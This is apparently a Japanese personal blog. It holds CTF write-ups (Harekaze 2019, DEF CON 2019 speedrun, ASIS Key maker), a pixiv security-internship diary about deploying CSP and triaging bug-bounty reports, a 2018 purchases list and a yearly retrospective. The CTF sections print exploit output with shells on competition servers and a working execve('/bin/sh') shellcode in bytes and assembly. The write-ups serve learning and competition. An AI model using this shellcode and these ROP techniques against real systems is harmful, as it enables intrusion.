yyy

CTFつよくなりたい

Harekaze CTF 2019 Baby ROP, Baby ROP 2, scramble

Baby ROP

バッファオーバーフローがあり,バイナリ内にsystemも用意されていたのでROPでsystemに飛ばすだけ. /bin/sh もバイナリ内にあったのでそれを使った.

gist.github.com

$ python exploit.py
[+] Opening connection to problem.harekaze.com on port 20001: Done
[*] Switching to interactive mode
What's your name? $ ls
bin
boot
dev
etc
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ ls /home
babyrop
$ ls /home/babyrop
babyrop
flag
$ cat /home/babyrop/flag
HarekazeCTF{r3turn_0r13nt3d_pr0gr4mm1ng_i5_3ss3nt141_70_pwn}
$ exit

Baby ROP 2

同じくバッファオーバーフローがあるが,バイナリ内にsystemが存在しないのでlibcのアドレスをleakしてからlibc内のone-gadget RCEに飛ばした.

gist.github.com

$ python exploit.py
[+] Opening connection to problem.harekaze.com on port 20005: Done
[*] '/home/yyy/ctf/all/HarekazeCTF2019/pwn/babyrop2/babyrop2'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/yyy/ctf/all/HarekazeCTF2019/pwn/babyrop2/libc.so.6'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
What's your name?
 Welcome to the Pwn World again,
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAI!

0x7f1d378f7250
0x7f1d37800000
What's your name?
[*] Switching to interactive mode
 Welcome to the Pwn World again, AAAAAAAAAAAAAAAAAAAAAAAAAAAA9!
$ cat /home/babyrop2/flag
HarekazeCTF{u53_b55_53gm3nt_t0_pu7_50m37h1ng}
$ exit

scramble

入力を受け取ってscrambleという関数に渡してから,その結果を元にxorとかして正解かどうか判定するcrackme系の問題.

Ghidraでデコンパイルしてみたけどscrambleの処理があまり読みたくないものだったし,解かれてるスピードが異常に速かったのでangrとかでいけるだろうと思ってangrで解いた.

最初は "Harekaze{" で始まるだろうなぁとか推測して少し複雑にスクリプトを書いていたけど全く求まらなくて,以下のように単純なスクリプトにしたらすぐ出た.

gist.github.com

$ python solve.py
WARNING | 2019-05-19 12:11:42,304 | angr.analyses.disassembly_utils | Your verison of capstone does not support MIPS instruction groups.
WARNING | 2019-05-19 12:11:42,469 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
WARNING | 2019-05-19 12:11:42,489 | angr.factory | factory.path_group() is deprecated! Please use factory.simgr() instead.
Dump stdin at succeeded():
'HarekazeCTF{3nj0y_h4r3k4z3_c7f_2019!!}\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

DEF CON CTF Qualifier 2019 speedrun-001~003

speedrun-001

$ ./speedrun-001
Hello brave new challenger
Any last words?
hoge
This will be the last thing that you say: hoge

Alas, you had no luck today.

バッファオーバーフローがあるので,ROPで execve("/bin/sh", NULL, NULL) を呼ぶようにした.

gist.github.com

$ python exploit.py
[+] Opening connection to speedrun-001.quals2019.oooverflow.io on port 31337: Done
Hello brave new challenger
Any last words?

[*] Switching to interactive mode
This will be the last thing that you say: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x86\x06@
$ ls
-
banner_fail
bin
boot
dev
etc
flag
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
service.conf
speedrun-001
srv
sys
tmp
usr
var
wrapper
$ cat /flag
OOO{Ask any pwner. Any real pwner. It don't matter if you pwn by an inch or a m1L3. pwning's pwning.}
[*] Got EOF while reading in interactive

speedrun-002

$ ./speedrun-002
We meet again on these pwning streets.
What say you now?
hoge
What a ho-hum thing to say.
Fare thee well.

これも同様バッファオーバーフローがあり,ROPからret2libcでsystemを呼ぼうとしたがローカルではうまくいくのにリモートではうまくいかない問題が起きてて,どうやらリモートではsystem関数が使えないように制限されてたっぽいので,001同様直接システムコールを使うようにしたらシェルが取れた.

gist.github.com

$ python exploit.py
[+] Opening connection to speedrun-002.quals2019.oooverflow.io on port 31337: Done
[*] '/home/yyy/ctf/all/DEF_CON_2019/speedrun-002/speedrun-002'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
[*] '/home/yyy/ctf/all/DEF_CON_2019/speedrun-002/libc/lib/x86_64-linux-gnu/libc-2.27.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
We meet again on these pwning streets.
What say you now?

What an interesting thing to say.
Tell me more.

Fascinating.

leak_addr: 0x7f4b03669140
libc_base: 0x7f4b03559000
system_addr: 0x7f4b035a8440

We meet again on these pwning streets.
What say you now?

What an interesting thing to say.
Tell me more.

Fascinating.

[*] Switching to interactive mode
$ cat /flag
OOO{I_didn't know p1zzA places__mAde pwners.}
$ exit
[*] Got EOF while reading in interactive

speedrun-003

$ ./speedrun-003
Think you can drift?
Send me your drift
hoge
You're not ready.

シェルコード問題.30バイトのシェルコードを入力する必要があり,前半部分それぞれをxorした値と後半部分それぞれをxorした値が等しくないといけない.

48 bb 2f 62 69 6e 2f    movabs rbx,0x68732f6e69622f
73 68 00
31 f6                   xor    esi,esi
56                      push   rsi
53                      push   rbx
54                      push   rsp
5f                      pop    rdi
b0 3b                   mov    al,0x3b
31 d2                   xor    edx,edx
0f 05                   syscall

シェルコードはこのようなものを使用したが,これは22バイトなのでいい感じに調整した.具体的には,前半部分を push rsp までにして,残りの部分は xor edx, edx を4つに増やすことでバイト数をかさ増ししたり,同じxor値になるように mov al, 0x3b を2つに増やし,前半の 0x3b の部分を変化させながら,最終的に mov al, 0x5a にした.

gist.github.com

$ python exploit.py
[+] Opening connection to speedrun-003.quals2019.oooverflow.io on port 31337: Done
[*] Switching to interactive mode
Think you can drift?
Send me your drift
$ cat /flag
OOO{Fifty percent of something is better than a hundred percent of nothing. (except when it comes to pwning)}
$ exit
[*] Got EOF while reading in interactive

ASIS CTF Quals 2019 Key maker

問題文

The Keymaker: Only the One can open the door. And only during that window can that door be opened.

Niobe: How do you know all this?

The Keymaker: I know because I must know. It is my purpose. It is the reason I am here. The same reason we are all here.

PEファイルを解析する問題.ポイントは最終的に93で,solve数は51だった.

$ file key_maker.exe
key_maker.exe: PE32+ executable (console) x86-64 (stripped to external PDB), for MS Windows
$ key_maker.exe
KeyMaker is old, you are the one to help Neo!!
Please enter licence key: hoge
Sorry, given licence is invalid!

crackmeだとわかる.適切なライセンスキーを入力する必要がある.

入力値を扱っている箇所の逆アセンブル結果が少々複雑なため,最近話題のGhidraを初めて使ってデコンパイルしてみたが,かなりよかった.以下はmain関数のデコンパイル結果.

f:id:ywkw1717:20190422145756p:plain
main

50文字の入力をFUN_00401637に渡していて,この関数が入力値を検証するものだとわかる.

f:id:ywkw1717:20190422183829p:plain
FUN_00401637

FUN_00401637では,最初のif文で入力値の17文字目と34文字目が _ になっているか,5文字目と最後の文字を掛け合わせた結果が0x3c0fになっているか(これはつまり,5文字目が { で,最後の文字が } かどうか)を確認している.この時点で正規のライセンスキーが,ASIS{........} みたいなフラグの形式になっていそうだとわかる.

その後,3つのWhileループで _ を除いた文字を3分割,つまり16文字ずつ,36進数( strtol(&local_38,(char **)0x0,0x24) )で配列に代入している.

f:id:ywkw1717:20190422145846p:plain
FUN_00401637

その後,3つの配列の全ての組み合わせ,6通りをFUN_00401530の第1引数と第2引数に渡し,第3引数に渡した配列にFUN_00401530での演算結果を代入するような仕組みになっている.

f:id:ywkw1717:20190422145828p:plain
FUN_00401530

肝心のこの関数では,param1とparam2やカウンタ変数などを使って加算処理を行って,結果をparam3に代入している.この結果,param3に渡された配列には16個の要素が入ることになる.

f:id:ywkw1717:20190422145846p:plain
FUN_00401637

FUN_00401637をもう一度見てみると,作成した6つの配列をそれぞれとある要素(*(int *)(&DAT_00404040 + ((longlong)local_20 + (longlong)local_1c * 4) * 4)みたいなの)と比較している.これは,以下の部分にそれぞれ4バイトで計64個格納されている値のこと.

f:id:ywkw1717:20190422145930p:plain
比較されるやつ

以上の解析結果から,z3を使用して解く方針で進める.

完成したスクリプトは以下.

gist.github.com

実行結果.

$ python key_maker.py
[u_15 = 0,
 u_14 = 3,
 u_13 = 14,
 u_12 = 21,
 u_11 = 12,
 u_10 = 4,
 u_9 = 27,
 u_8 = 24,
 u_7 = 27,
 u_6 = 3,
 u_5 = 20,
 u_4 = 4,
 u_3 = 22,
 u_2 = 34,
 u_1 = 3,
 u_0 = 20,
 t_15 = 0,
 t_14 = 24,
 t_13 = 0,
 t_12 = 24,
 t_11 = 14,
 t_10 = 23,
 t_9 = 13,
 t_8 = 23,
 t_7 = 10,
 t_6 = 34,
 t_5 = 7,
 t_4 = 18,
 t_3 = 23,
 t_2 = 1,
 t_1 = 27,
 t_0 = 29,
 s_15 = 33,
 s_14 = 33,
 s_13 = 33,
 s_12 = 1,
 s_11 = 27,
 s_10 = 7,
 s_9 = 4,
 s_8 = 22,
 s_7 = 3,
 s_6 = 17,
 s_5 = 7,
 s_4 = 0,
 s_3 = 28,
 s_2 = 18,
 s_1 = 28,
 s_0 = 10]

flag: ASIS{7H3M47R1XXX_TR1NI7YANDNEO0O0_K3YM4K3ROR4CLE3}

この問題のCategory, Reverse Baby warm-up となっていてびびる.

pixiv SPRING BOOTCAMP 2019のセキュリティコースに参加して最高の体験をしてきた

はじめに

念願のpixivインターンに行ってきました.

pixivは高校生の時ぐらいから知っていて,実際に絵を投稿したのは大学に入ってからですが,お絵描きを趣味とする自分にとってはとても身近な存在でした.インターンシップに参加している学生の様子をSNSで見ているととても楽しそうで,いつか自分も参加してみたいと思うようになりました.

また,バグバウンティを行っているということも魅力的でした.日本でバグバウンティをやっている企業はまだまだ少ないですし,絵を投稿する場として利用しているサービスが,実はセキュリティにも力を入れていることを知った時はpixivに対してより一層興味を抱きました.

実は,去年の夏インターンシップでも応募をしていました.その時はセキュリティコースはなく,Railsを多少やっていた自分はRailsで作られているBOOTHのコースで応募したのですが,書類選考後の面談でお祈りをいただいてしまい,半ば諦めていました.ですが今回春インターンがあるということで最後のチャンスだと思い,今回は自分が将来仕事にしたいと思っているセキュリティのコースで応募しました.

参加するまで

面談ではコードテストがあるというのはメールで聞いていて,夏に受けた時はなんの問題もなく書けたので今回もいけるだろうと思っていたら,コードテストの前にWebセキュリティに関する知識を問われて少しドキッとしました.

コードテストは頭が真っ白になりかけたりしたのですが,面接官の方達が優しかったのでなんとかなりました.その後,合格通知が来た時は思わずにやけそうになりました.セキュリティコースは今回初めて作られたものらしく,第1号ということでさらに嬉しくなりました.

業務開始まで

前日になかなか寝付けなかったのですがなんとか起きれて,無事オフィスへ到着しました.エレベーターを降りたら早速絵馬があって興奮していたのですが,オフィスへ到着するもセキュリティカードがないため入れず,うろうろと不審者化していました.

f:id:ywkw1717:20190314154023j:plain
絵馬1

f:id:ywkw1717:20190314154046j:plain
絵馬2

f:id:ywkw1717:20190314154143j:plain
絵馬3

その後,他のインターン生の方とお互いに軽く自己紹介をしてからNDAを結んだり人事のkamikoさんのお話を聞いたり,軽くオフィスを見学してから毎週水曜日に開催されている全社会議に参加させていただきました.ここでは各プロジェクトからの報告があった後,27日から参加の4人のインターン生は自己紹介をしました.全社員の前での自己紹介,緊張しかない.

セキュリティカードと一緒に名札も貰いました.

f:id:ywkw1717:20190314161027j:plain
なまえ

全社会議の後は全社ランチということで,自分のテーブルでは7人くらいでご飯を食べました.隣にいたhakatashiさんはルービックキューブをやっているということでものすごく親近感が湧きました.特に僕のメンターのkoboさんとhakatashiさんとはCTFのお話ができて良さみがありました.

f:id:ywkw1717:20190314161151j:plain
様子

2/27~3/1

CSPの導入①

この期間で主にやったことはVRoid HubへのContent Security Policy(CSP)の導入です.

hub.vroid.com

CSPとはXSSやその他いくつかの攻撃を防ぐためのセキュリティレイヤーであり,これを使用することで悪意のあるコードの実行を防ぐことができます.CSP Level2 まではドメインの指定によるホワイトリスト方式が推奨されてきましたが,それがバイパス可能だということがわかってきました.そのため現在のLevel 3では nonce+strict-dynamic が推奨されていて,nonceが付与されたscriptタグしか許可しないようにします.また,strict-dynamicを付けることで nonce が付与されたscriptタグ内で動的に生成されたscriptタグも正常に動作するようになるので,アプリケーション本来の動作に影響を及ぼさずにCSPを導入することが可能になります.その他,主に付けるべきディレクティブは script-srcobject-srcbase-uri です.

ここら辺のお話はメンターのkoboさんが書いた以下の記事がとても詳しいです.

inside.pixiv.blog

CSPの導入は次のように進めていきました.

  1. 試しに default-src: 'self' みたいなものだけ設定してCSPの違反がブラウザのコンソールに出ることを確認
  2. script-src object-src base-uri の3つのディレクティブを設定
  3. nonceをscriptタグに設定していく
  4. CSPの違反やnonceの付与漏れなどないことを確認したら,ブラウザごとに出し分けを行う
  5. CSPをReport Onlyモードで動かす
  6. report uriに設定したURLにてCSPの違反レポートを確認して,修正できるものは修正
  7. Report Onlyを外す

バグバウンティ関連①

その他にやっていたこととして,HackerOneに届いているレポートを過去のものも含め全て読んでいいということだったので,空き時間はひたすらレポートを読み漁っていました.なかなか世界中のハッカーが送ってくるレポートを読める機会などないと思いますし,こういう視点でバグを見つけて攻撃をするんだなというハッカーの視点のようなものを養うことができて非常に参考になりました.

エンジニア勉強会

毎週金曜日は勉強会が開かれているので参加しました. 今回はTECH SALONでLTをやる人たちのリハーサルの場でした.縦書きというユニークな話から,Kotlinの話,レイヤーの自由変形の話,CSP+SameSite cookieの話,HEIFの話まで,ジャンルも幅広く様々なお話を聞けました.僕は特にセキュリティな話が好きなのでメンターのkoboさんが話していたCSPとSameSite cookieの話を特に興味津々で聞いてました.SameSite cookieは知りませんでした.CSRF対策ということで,これから普及が進みそうな技術です.

3/4~3/6

CSPの導入②

金曜日にデプロイしない文化があるとメンターさんから教えてもらったので,3月4日の月曜日にいよいよContent Security Policy Report Onlyを有効化するPRをマージして,本番環境にデプロイしました(本番環境にデプロイするボタンをメンターのkoboさんに「このボタンを君に押して貰いたいんだ...!」と言われてクリックさせてもらえたのが印象的です).実際に動いているサービスへのコントリビュート,最高の体験です.

f:id:ywkw1717:20190307000237p:plain
Content Security Policy Report Onlyが付いている様子

unsafe-evalも外せると完璧らしいのですが外してみるとうまくいかない部分があり,結局付けたままにしました.本番環境でContent Security Policy Report Onlyがついていることを確認したらCSPの違反レポートが来るまで1日程度様子を見ました.翌日に違反レポートが来ていることは確認できたのですが,report-uri.comだとブラウザのバージョンが見れず,どのブラウザで違反が起きているのかわかりづらいということでreportUriをSentryに変更しました.

ですがその後,Sentryではあまりログが取れていないということがわかり,reportUriは2つ指定することも可能だったのでreport-uri.comとSentryの2つのURLを指定しました.また,Worker関連のCSP違反レポートが出ていることもわかったので,これに対応するために新たにworkerSrcディレクティブを追加しました.

バグバウンティ関連②

実際のバグバウンティの対応もやらせていただきました.届いていた報告をトリアージしてから報奨金の支払いまでをメンターさんに教えてもらいながらやりました.それまではレポートを読んでいただけだったのですが,未対応の脆弱性の対応のために検証を行ったり,GitHubにissueを立てて概要や影響について書いたりして,ここでも最高の体験をすることができました.

また,画像関係の脆弱性についても検証・調査を進めていました.

pixiv Bug Fix

pixivにあったバグ修正もしました.これはバグバウンティのほうで報告が来ていたもので,プレミア会員でしかできないはずのことが一般会員でも細工するとできてしまうことがあり,その修正をするためにtadsanに教わりながら開発環境を作りました.(PhpStorm初めて使った)

翌日,メンターのkoboさんに相談しながらPRを出し,それはその日中にマージされて本番環境にデプロイされました.pixiv本体へのコントリビュート,最高の体験すぎる.(「これで君は VRoid Hub と pixiv ,2つのコントリビューターだ」とkoboさんから言われた時は嬉しすぎて言葉が「なるほど...」しか出てこなかった🤔)

pixiv TECH SALON

また,3月5日の火曜日はpixiv TECH SALONに参加しました!

techsalon.pixiv.co.jp

pixivが初めて開催するテックカンファレンスで,完全招待制のイベントなのですが,インターン生は全員参加できるということで参加してきました.入場すると謎のサイリウム入りのトートバッグが渡されました.

pixiv BLUE,カルピスとなにかを混ぜたやつ(忘れてしまった)

f:id:ywkw1717:20190314154244j:plain
pixiv BLUE

f:id:ywkw1717:20190314154307j:plain
pixiv BLUE

メインセッションが始まるまでは両端でLTが開かれていました.僕はAのほうを聞いてからBのほうに行き,全てのLTを聞きました.LTの途中からボイチェンで声を変えて発表する『明日から女の子になるための「声」のお話』はだいぶ印象に残りました笑

メインセッションが始まってからは参加者は皆さん着席して聞いていました.どのお話も業務で直面した課題をどのように解決したかを話していたり,pixivの社風が存分に伝わってくるセッションで,聞いていてワクワクしました.

個人的に特に面白いなと思ったセッションは「大多数のメンバーがコードを書けるチームにおけるエンジニアの役割」です.pixivのBOOTHチームについてお話されていて,そもそもBOOTHチームはエンジニア以外にもコードを書ける人が多くて,エンジニア以外にPRを出してマージされたことがある人がいたり,issueを立てたことがある人はエンジニア以外を含めて全員だったり,特徴的なチームでした.

このセッションで伝えたいこととして2点挙げられていました.まず1点目は,BOOTHで商品が入荷するまでの間,ステータスが中々次のものに切り替わらないのでどうにかしたいという課題があったということで,非エンジニアの方からは新たにステータスを追加してはどうかという提案があったそうです.しかしエンジニアからすればステータスを新たに加えるということはコードの大きな変更を意味し,できれば行いたくないということで,もう少しヒアリングしてみると問題の本質はステータスを新たに加えなければいけないということではなくて,ステータスが切り替わらない間のお問い合わせ先に問題があるのでそこを変更すればよいという結論に至ったそうです.このように提案されたものを鵜呑みにするのではなく,問題の本質を見抜きそれを解決するところがエンジニアの腕の見せ所とおっしゃっていて,まさにその通りだなと納得しました.

もう1点は「小さく出す」ということで,PRなどを出す際に「ついでに」これもやっておきましたみたいなことを辞めようということです.なぜかというと,「ついでに」実装したものが実は正しく動いてなくて検証が必要だったりして,本来出すはずだった修正や機能追加が「ついでに」追加したものに足を引っ張られることでできなくなってしまうことがあるからです.そのために「小さく出す」ことで,よりスピーディーに開発が進むということでした.

メインセッションが終わった後はいよいよサイリウムを折ってから盛大な掛け声と共に懇親会がスタートして,みんなでわいわいしていました.(大学の元先輩3人と遭遇するという奇跡が起きてびっくりしました)

f:id:ywkw1717:20190314154435j:plain
様子

f:id:ywkw1717:20190314154416j:plain
サイリウム

f:id:ywkw1717:20190314155630j:plain
いろいろもらった

3/7~3/8

CSPの導入③

CSPのReport Onlyを外すPRを作成していました.いよいよReport Onlyを外すということで少し緊張していましたが,無事VRoid HubにCSPを導入することができました.

f:id:ywkw1717:20190314161814p:plain
Content Security Policyが付いている様子

バグバウンティ関連③

引き続き,画像関係の脆弱性について調査していました.Linuxのcgroupを使用した対策についての調査をローカル環境で試していて,正しく制御できていることを確認したのでissueに調査結果をまとめていたりしました.

成果発表

最終日では,インターン中の成果を発表しました.メンターのkoboさんに添削してもらいながら,ギリギリまでスライドを作っていました.僕の発表は2番目だったのですが,初手のインターン生のりゅう君が声は大きいし発表は面白いし盛り上がるしで,そんな素晴らしい発表の後に控えていた僕は「オワタ」という気持ちで見ていました.

僕の発表では初っ端から,もっと大きな声で喋ってと言われてしまい,普段から声が小さい自分にとってはなかなかに厳しい状況だったのですが,kameikeさんがすぐにマイクを用意してくれて惚れそうになりました.緊張しながらも発表を終えると,メンターのkoboさんが総評でいいことばかりおっしゃってくれて,嬉しすぎてついつい笑みがこぼれました.

f:id:ywkw1717:20190314161224j:plain
様子

発表の後は記念撮影をして打ち上げ会場に移動し,鍋をつつきながら楽しく談笑していました.その後会社に戻ってからは,お土産としてpixivのステッカーやグッズなどを頂いてから帰りました.

f:id:ywkw1717:20190314155710j:plain
お土産

その他の思い出

懇親会でルービックキューブについて話した

hakatashiさんの他に機械学習コースのメンターさんのfusshi-さんもルービックキューブの達人で,お話していてとても楽しかったです.

バイナリかるた貰った

koboさんから頂きました!!!!

f:id:ywkw1717:20190314154341j:plain
バイナリかるた

お絵かきブートキャンプ

こちらは3月6日の水曜日にありました.水曜日のランチでご一緒させていただいた社員さんにお誘い頂いたので喜んで参加しました.絵を描く人全てが偉いという考えで,批判はなくひたすら褒めてもらうような素晴らしい世界でした.自分は絵を描くのが半年~1年に1枚という具合なので,このような集まりがあるといい感じにモチベーションを保ててよさそうだなと思いました.

円盤鑑賞会的なやつ

3月7日の木曜日にAqoursのライブDVDを鑑賞したのですが,優勝しました.

f:id:ywkw1717:20190314155553j:plain
円盤鑑賞会

僕はラブライブは観ていたのですが,ラブライブサンシャインは観ていなかったので大丈夫かなぁと思っていたのですが,いざ始まってみると激熱でした.

ご飯情報

お昼はほぼ毎回メンターのkoboさんがいろいろな社員さんを誘ってくれて,ご飯に行っていました.

f:id:ywkw1717:20190314154521j:plain
28日ご飯 土古里

f:id:ywkw1717:20190314154539j:plain
1日ご飯 camp

f:id:ywkw1717:20190314154607j:plain
4日ご飯 串亭

f:id:ywkw1717:20190314154623j:plain
5日ご飯 キッチンカー

f:id:ywkw1717:20190314154652j:plain
7日ご飯 enjoy

f:id:ywkw1717:20190314154716j:plain
8日ご飯 みろく庵

最後に

去年の夏に2社,別のインターンに行きましたが,僕の目指している職業上どうしても堅いところが多く,このようなアットホームな会社のインターンシップは初めてでした.まず社員さんとの距離が近く,「インターン生」という別のくくりとして扱うのではなく一社員のように扱っていただいて,本当にpixivで働いているような,そんなインターンシップでした.

他にも社員の趣味を最大限に応援する会社で,個性溢れる社員さんばかりでしたし,参加する前から思っていた通りの本当に素敵な会社だなと身に沁み,「創作活動がもっと楽しくなる場所を創る」という理念が伝わってきました.

最後になりますが,メンターのkoboさん,VRoidチームの皆様,インターンシップに携わってくださった社員の皆様,そしてpixivの皆様,最高の体験をありがとうございました!

2018年 買ってよかったもの

これも今年からまとめておこうと思う.

青汁

ヤクルト 青汁のめぐり 225g(7.5g×30袋)

ヤクルト 青汁のめぐり 225g(7.5g×30袋)

飲んでいてあまり実感がないんだけど,栄養の偏りが酷い時には欠かせない.健康第一で最近はほぼ毎日飲むようにしてる.

君の膵臓をたべたい

普段から小説を読むほうではないんだけど,これをきっかけにハマることになる.本を読んで泣いたのは初めてで,マジで良すぎるので気になる人は読んでみて欲しい.今は「青くて痛くて脆い」っていう小説を読んでる.

配色アイデア手帖

ちょっとした色の組み合わせに迷ったときに参考になる本.ちょくちょく使うことが多かったと思う.

栞セット

Amazon CAPTCHA

手元に本が増えてきたりしていて栞に困っていて買った.おかげで栞に困ることが無くなった.

尾崎由香1st写真集

尾崎由香1st写真集 ぴ(ゅ)あ

尾崎由香1st写真集 ぴ(ゅ)あ

良いです.

Bluetoothイヤホン

首からぶら下げられるのとか防水とか知らずに買っていた... 値段も安くて普通に使えるし,普通に良い.前持っていた普通のイヤホンは紛失してしまったので,これを首からぶら下げるようにしたら今のところ問題無さそうだけど,人の目が気になってしまう.

Duo3.0

DUO 3.0

DUO 3.0

復習用CDも一緒に買った.今は2週目やってるけど,覚えづらい熟語とかを短い文章で覚えられて,復習用のCDはネイティブスピーカーがそこそこの速さで喋ってくれるので,良さみがある.

ヘアアイロン

これは細いヘアアイロンなので使いやすい.買って1週間で,床に置いておいたところを踏んでしまい見事に壊れた.それからまた同じものを購入した.

ニトリで買った時計

f:id:ywkw1717:20181231231630j:plain 温度と湿度が表示されていて便利.ただ,売り場にあった他の時計たちのどれも湿度が一致していなくて(温度はだいたい一致してた),どれを信用すればいいんやという気持ちになった.

GAN354 M Stickerless

store.tribox.com

今まで買ったルービックキューブの中では一番の性能だった.

英辞郎

booth.pm

これ↓を使うために買った. qiita.com

英語のWebサイトとかPDFとか読むのにめちゃ便利.

Fujifilm X-T2 とXF35mm F1.4 R

f:id:ywkw1717:20181231215717j:plain やっぱり一番はこれ.カメラは本当に楽しい.もっといろんな写真を撮っていきたい.

2018年を振り返る

毎年恒例の一年を振り返るエントリー.

去年のはこれ.

ywkw1717.hatenablog.com

今年はなんか,うまくいかないことが多い年だった.特に夏のインターンでは苦しんでいて,面接いい感じにいったと思っていた2社にお祈りされて絶望した.(((その2社から貰ったお祈りメールは印刷して自宅の机の前に貼っていて,やる気が出ない時に見るようにしているぐらい悔しい))) その後,ご縁があった企業さん2社に拾ってもらったのが救いだった.その他にもプライベート面でもうまくいかないことが多くて,早く2018年終わってくれと願うことが多かった気がする.

1月

f:id:ywkw1717:20181231215146j:plain 特徴的なできごとがなかった,強いて言うならこの画像をツイートしたらなぜかバズったぐらい.案の定,今ではもうシールが取れてしまったけど.

あとはこの時期は,バイト先の仕事でとにかくパケットを解析していた.1月の頭に帰省していたけど,家でもちょくちょくやっていたぐらいには量が多くて,けどなかなか面白くて夢中になっていた気がする.

2月

大学院に合格した

f:id:ywkw1717:20181231215236p:plain 今通っている大学には3年で学部を退学して大学院へ行くことができるプログラムがあって,それを利用して受験し合格した.合格といってもよっぽどのことがない限り,普通に話していれば合格するやつだと思う.入試では30分間の面接があり,全て英語で行われるということで,最初の約10分は自分が入学後に行う研究計画を口頭で説明する必要があって,それは丸暗記しておいた.あとは聞かれそうな質問はあらかじめ答えを考えておき,これも暗記しておいた.他に用意していなかったものとかはたどたどしい英語で返答し,なんとかなった.

初めてのスノボ

f:id:ywkw1717:20181231215249j:plain せっかくゲレンデが割と近いところに住んでいるのに一度もウィンタースポーツをやっていなかったので,ずっとやってみたかったスノボをやった.当日は地元の友達と現地集合だったけど,ゲレンデを間違えるバグが発生して,なんでかと思ったらLINEに来ていた大量のメッセージの中でいつの間にか変更になっていたっぽい.ちゃんと全部に目を通すべき. 事前に何個か動画を見てから行ったこともあってか最初から普通に滑れて,めちゃくちゃ楽しかった.途中,コースを間違えて上級者コースっぽいところへ行ってしまい,なんとかなるやろと思って滑ったら見事に一回転して足を軽く捻挫したり,帰りは山道を一人で運転していたらスリップして車に思いっきり傷をつけてしまい,親から怒られが発生したことを除けばいい思い出.

f:id:ywkw1717:20181231215321j:plain

これは戒め.

3月

某CTF選考に通った

f:id:ywkw1717:20181231215306p:plain 院進することは決めていたんだけど,受けるだけ受けられるということで2月辺りに受けた結果が送られてきた.この選考のなにが良かったかというと,Pwn問題がものすごく勉強になって,3問あるうちの最後の問題は確かFSBからのROPとかで解いたけど,試行錯誤してシェルを取れた時は本当に感動したことを覚えてる.ただ,Rev問の最後の問題が解けなかったのは悔しかった.

体重が過去最高になる

f:id:ywkw1717:20181231215357j:plain これは事件.大学入学時には68kgとかだったはずなのにいつの間にかデブになっていた,なぜ.身長はあるほうなのでまだましだと思うけど,さすがにやばいと思った. 4月に大学院へ入学後,貰った学生証(写真撮影は3月に行われていた)を見てデブさにがっかりしてダイエットを決めた.今では69kgぐらいに戻ったけど,あと5kgぐらい減らしたさはある.

チームロゴを作った

